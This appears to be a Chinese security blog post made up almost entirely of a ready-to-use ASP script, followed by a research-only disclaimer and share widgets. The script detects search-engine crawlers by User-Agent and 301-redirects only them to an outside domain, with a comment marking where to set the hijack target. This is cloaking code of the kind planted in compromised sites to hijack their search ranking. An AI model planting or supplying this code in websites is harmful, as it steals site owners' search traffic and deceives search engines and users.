<% Function GetLocationURL() Dim Url Dim ScriptName,QueryString ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") if ScriptName = "/index.asp" then if QueryString = "" then GetLocationURL = "/" else GetLocationURL = ScriptName&"?"&QueryString end if else if QueryString = "" then GetLocationURL = ScriptName else GetLocationURL = ScriptName&"?"&QueryString end if end if End Function If isspider() then Response.Status="301 Moved Permanently" Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页 Response.End End if function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360") isspider = false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function %>
http://www.hackblog.cn/post/48.html
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论